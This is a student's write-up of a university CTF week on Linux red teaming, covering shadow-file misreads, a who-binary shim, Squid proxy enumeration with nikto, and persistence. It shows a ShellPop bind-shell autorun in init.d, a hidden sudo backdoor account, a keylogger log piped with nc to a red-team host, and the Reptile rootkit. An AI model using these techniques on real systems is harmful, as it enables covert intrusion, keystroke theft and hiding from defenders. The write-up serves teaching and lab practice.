The tenth week of RITSEC’s Spring 2019 CTF has concluded. Although the official challenge write-ups for the semester CTF will be posted on RITSEC’s GitHub for those interested, I have more detailed write-ups here each week for the challenges I am able to solve. I do this because as a freshman, when I read the challenge write-ups they often went step-by-step but never elaborated on why a certain command was run or the strategy the user followed when solving the challenges. This is my effort to elaborate on the reasoning to the process.
Topic — Linux Red Team
This week, participants were given two virtual machines. The first, a minimal CentOS 7 box, served as the main challenge VM for learning how red teams (such as RITSEC’s) operate and prepare blue teamers for some of their antics in the upcoming IRSeC. The second VM was a black box, a virtual machine for which no login information was given, to simulate common experiences of a red team member. Topics covered this week included various persistence and data exfiltration techniques, penetration testing, and malware installation.
Easy 1: We’ve added 100 users to the machine so the blue teamers will never find our one user we set without a password!
Wait, did we fix the permissions on the file where password hashes are stored? I hope so.
/etc/passwd stores the list of users and groups, the file
/etc/shadow stores encrypted passwords and hash types. Each line in the file is in a format similar to
This example can be broken down into several important sections, each separated by a colon:
root— This is the username of the account used when logging in.
$6$Ke02nYgo.9v0SF4p$hjztYvo/M4buqO4oBX8KZTftjCn6fE4cV5o/I95QPekeQpITwFTRbDUBYBLIUx2mhorQoj9bLN8v.w6btE9xy1— This is the encrypted password in the format
idis the type of encryption used,
saltis the random data used at the start of the encryption algorithm to ensure a random hash, and
hashedis the hashed password. This entire field will be blank if no password is used.
Digging a bit deeper into the previous explanation, Linux accounts have the option to use several different types of password encryption, such as:
- $1$ — MD5, Message Digest 5, a cryptographically-weak but still widely used standard
- $2a$ or $2y$ — Blowfish, a symmetric-key block cipher with a small 64-bit block size
- $5$ — SHA-256, the Secure Hash Algorithm with a 256-bit hash value
- $6$ — SHA-512, the Secure Hash Algorithm with 512-bit hash value
Back to the main line…
16431— The password age, or the number of days since the password was last changed
0— The minimum number of days for which a user has to wait to change their password again
99999— The maximum number of days before which a user must change their password again
7— The number of notification days, or the maximum number of days before the expiration date for which the user will get a notification to change their password
<blank>— The disable count, or the number of days after the password expires that the account will be disabled
<blank>— The number of days since the account has been disabled
Try to view the
shadow file by
cating it. Typically, users not in the
sudoers group can’t access this file, but as the hint says, the permissions have been changed.
As the challenge states, this representation is not useful for finding the user without a password assigned. Fortunately, Linux includes many useful tools for parsing text into a readable format (namely
grep command is used to find any users with
:: in the first series of colons per line in the file, and trim the results to contain only the account names.
cat /etc/shadow | grep '^[^:]*:.\?:' | cut -d: -f1
As can be seen, the only non-service account listed is
bob, so this must be the account added by the “red team”. The
/home/bob directory can’t be accessed by the
ritsec user, but since there is no password on the account there is nothing preventing another user from switching users to
bob by using the
su bob command.
Next, search in
bob's home directory for the flag.
The flag is
Easy 2: Now we have to hide that we’re logged in as that user in Easy 1! Shim the `who` binary so that it removes that user from the list of logged in users.
Sign-off based: Show your solution to the Tech Lead for the flag.
This task can’t be performed in the challenge VM because users cannot rename binary files without
sudo permissions. Perform the task in any Linux OS. [I will be using an Ubuntu 18.10 VM.]
“Shimming” is the process of modifying an existing Linux binary (such as “who”) to hide or misinterpret results, usually for malicious intent.
who is a basic command to list users logged in to the system. For this example, simply rename
who to anything else (
who2 in this example) and replace it with a custom bash script named
#!/bin/bashecho -e "$(who2)"
This script calls the original
who program (now called
who2). Next, there needs to be a way to invoke the original
who command without including the logged-in
bob user. One of the many solutions to this is to add a
sed command to strip out any lines with the text
bob in them. This should be sufficient for an Easy challenge.
#!/bin/bashecho -e "$(who2)" | sed '/bob/d'
Now, any user with
bob in their name will appear to not be logged in when a user runs the
Side note: An easy way to detect if binaries have been replaced with scripts is to run the
file </bin/<command>> command on them. In this example, if a user were to run
file /bin/who, they would see this result:
script: Bourne-Again shell script, ASCII text executable
The result should be similar to:
/bin/who: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=cc28e72b30a2d8d17c881adca1d7962e5f78d907, stripped
Of course, this won’t be as simple for a more complex shimming attack where the original file is replaced with another binary. In such a case, it is best to compare the hashes of the file suspected to be shimmed with the list of file hashes from the OS developer (typically available online).
Medium 1: The black box has port 80 open, why can’t I connect!? I wonder how I can do it.
For this challenge, a second (preferably Kali — or another Linux distro with common penetration testing tools installed) machine is needed. Ensure the virtual black box is connected to the same network as whatever device will be used to scan it (typically a NAT mode). Then start
nmap and scan the subnet to find the IP address of the black box.
nmap -sP <subnet>/24
If there are multiple devices on the subnet more scanning of individual IP addresses (such as OS identification with
-o) may be needed to identify the black box from these other devices. In this case, the black box is running in VMWare attached to a virtual adapter in NAT mode with the challenge VM and a Kali VM.
nmap SYN scan with version identification to ensure this is the correct host (OS identification can also be run with the
-o flag if desired).
nmap -sV 192.168.48.147
The black box appears to be running Ubuntu and the Squid proxy. This means that most of the traffic coming from the box will go through port
3128. Try connecting on that port with a web browser.
The server presents an error message. As this is a proxy server, perhaps requests should be proxied through it rather than trying to connect to it directly. Fortunately, this is a very easy process. Using the built-in proxy configuration of Kali (or other OS), set all requests to be proxied through
<IP address>:3128 of the black box.
Now return to the previous error page but leave out the port number, as the request will be proxied through Squid and appear to come from it’s internal network.
Access to the main page of the web server has been restricted. Although the flag is likely still available, it’s exact URL is unknown, making opening it far more difficult. To discover the URL, try running a web application vulnerability scanner. This may find that some of Apache’s many logs and default files can be read, which could give clues to the location of the flag. Nikto was run in the example, finding one of the aforementioned files.
nikto -host 192.168.48.147:3128
Try browsing to the indicated webpage.
This result is interesting, but the log of requests seen by scrolling down is much more so.
Any files after the
/html/ folder can be accessed via a browser by name, so try accessing the flag with the following URL:
Now just convert the Base64
UlN7ZzAwZF81cXUxZF9iQWRfNXF1aWR9 to text.
echo "UlN7ZzAwZF81cXUxZF9iQWRfNXF1aWR9" | base64 -d
The flag is
Hard 1: Install five forms of persistence on a Linux machine!
Sign-off based: Send your screenshots to the Tech Lead. Screenshots must include: an autorun, a reverse shell, a backdoor, a keylogger, and a rootkit.
For this challenge, an Ubuntu 18.10 VM will be used as the infected machine.
Autorun and Reverse Shell: ShellPop
“Generate easy and sophisticated reverse or bind shell commands.”
How to Install a remote Backdoor on Windows/Linux for system access (ShellPop)
ShellPop is all about popping shells to gain backdoor remote access to a system. Popping shells is a useful task where…
ShellPop has a variety of configuration options and supported languages, but Bash or Python will be supported the easiest on most Linux systems. This example uses Python. Get the listener code with the following command:
shellpop --payload linux/bind/tcp/python --port 6888 --handler
The generated code can now be made into a script and placed in the
init.d folder, which will run it on startup. Each time the box is restarted, a reverse shell will be opened.
Backdoor: Just a user account
If hidden cleverly enough (such as along with 100 other users!), a user account with
sudo privileges makes a very effective backdoor. Create a discreetly-named user account and add it to the
sudo group. Make sure SSH is installed.
usermod -aG sudo hacked
“A GNU/Linux keylogger that just seems to work”
logkeys from source and start it on the infected machine. This will create a logging file in a location of the user’s choice. Next,
nc, a common tool for transferring files over a network) this logging file to the red team box.
$user@infected-pc: cat 'logkeys_out' | nc <red team ip> <port>$user@red-team-box: nc -l -p 4000 > logkeys
Always be aware of what you are sending and receiving with
“An LKM rootkit for evil (or study) purposes.”
Loadable kernel module (LKM) rootkits are some of the most difficult and frustrating to detect due to their deep integration with the operating system, but it’s not impossible to do so. Install and build Reptile from source on the infected machine, and run the Reptile client on the red team box. Provide the infected machine’s IP address and
run for a root shell!
Rootkits have the ability to “unlink” their files and processes from linked lists (data structures) before they are provided to the kernel, for commands such as
ps. This allows them to remain hidden from normal commands.
Wow, who knew red teaming was so easy?! 😉
Although it sometimes isn’t realized, red teaming is a very active and important market outside of security competitions. Many companies such as Facebook, Google and even Busch have internal red teams and penetration testers that specifically attack their own infrastructure to find vulnerabilities before malicious actors do. Some, such as IBM, contract this service to other companies as well. One of the most difficult industry certifications, the Offensive Security Certified Professional, is focused on penetration testing.
For more resources, RIT has several classes dedicated to both sides of the game such as CSEC-470 Covert Communications, CSEC-471 Penetration Testing Frameworks and Methodologies, and CSEC-466/476 Introduction to Malware/Malware Reverse Engineering.
There will be 5 more weeks of challenges coming from RITSEC this semester! If you want to know more about RITSEC check out their website or attend a meeting if you’re on RIT’s campus — 12–4 PM in GOL-1400 for the CTF and presentations. Until next week!